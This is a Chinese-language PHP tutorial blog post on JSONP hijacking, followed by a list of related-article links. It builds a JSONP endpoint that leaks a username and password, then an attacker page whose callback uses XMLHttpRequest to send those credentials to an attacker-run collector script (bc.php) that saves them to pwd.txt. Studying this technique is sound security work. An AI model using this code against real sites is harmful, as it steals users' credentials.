Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP自动更新新闻DIY
Oct 09 PHP
一个图形显示IP的PHP程序代码
Oct 19 PHP
在命令行下运行PHP脚本[带参数]的方法
Jan 22 PHP
使用NetBeans + Xdebug调试PHP程序的方法
Apr 12 PHP
php懒人函数 自动添加数据
Jun 28 PHP
PHP输出九九乘法表代码实例
Mar 27 PHP
PHP表单数据写入MySQL数据库的代码
May 31 PHP
PHP解压ZIP文件到指定文件夹的方法
Nov 17 PHP
php+Ajax处理xml与json格式数据的方法示例
Mar 04 PHP
PHP如何将图片文件上传到另外一台服务器上
Aug 26 PHP
Laravel框架创建路由的方法详解
Sep 04 PHP
php实例化一个类的具体方法
Sep 19 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
微信支付开发发货通知实例
2016/07/12 PHP
php中各种定义变量的方法小结
2017/10/18 PHP
IE8 下的Js错误HTML Parsing Error...
2009/08/14 Javascript
IE6下JS动态设置图片src地址问题
2010/01/08 Javascript
jQuery 获取对象 根据属性、内容匹配, 还有表单元素匹配
2010/05/31 Javascript
node.js中的http.response.end方法使用说明
2014/12/14 Javascript
JS清除文本框内容离开在恢复及鼠标离开文本框时触发js的方法
2016/01/12 Javascript
JS实现点击网页判断是否安装app并打开否则跳转app store
2016/11/18 Javascript
angular实现商品筛选功能
2017/02/01 Javascript
jquery实现图片平滑滚动详解
2017/03/22 jQuery
React服务端渲染(总结)
2017/07/01 Javascript
jQuery取得元素标签名称小结(附代码)
2017/08/16 jQuery
Vue 组件间的样式冲突污染
2017/08/31 Javascript
使用html+js+css 实现页面轮播图效果(实例讲解)
2017/09/21 Javascript
基于rollup的组件库打包体积优化小结
2018/06/18 Javascript
Vue-Router基础学习笔记(小结)
2018/10/15 Javascript
详解JavaScript作用域和作用域链
2019/03/19 Javascript
JavaScript基础之this和箭头函数详析
2019/09/05 Javascript
Python 字符串定义
2009/09/25 Python
python 获取当天每个准点时间戳的实例
2018/05/22 Python
Django页面数据的缓存与使用的具体方法
2019/04/23 Python
Python+opencv 实现图片文字的分割的方法示例
2019/07/04 Python
python使用flask与js进行前后台交互的例子
2019/07/19 Python
python子线程退出及线程退出控制的代码
2019/10/16 Python
Python+OpenCV实现将图像转换为二进制格式
2020/01/09 Python
html5基础教程常用技巧整理
2013/08/20 HTML / CSS
AmazeUI 等分网格的实现示例
2020/08/25 HTML / CSS
美国购买体育、音乐会和剧院门票网站:SelectATicket
2019/09/08 全球购物
咖啡书吧创业计划书
2014/01/13 职场文书
岗位职责怎么写
2014/03/14 职场文书
争先创优活动总结
2014/08/27 职场文书
小学红领巾广播稿(3篇)
2014/09/13 职场文书
2015年护士节慰问信
2015/03/23 职场文书
建筑工程材料员岗位职责
2015/04/11 职场文书
竞聘开场白方式有哪些?
2019/08/28 职场文书
python pygame 开发五子棋双人对弈
2022/05/02 Python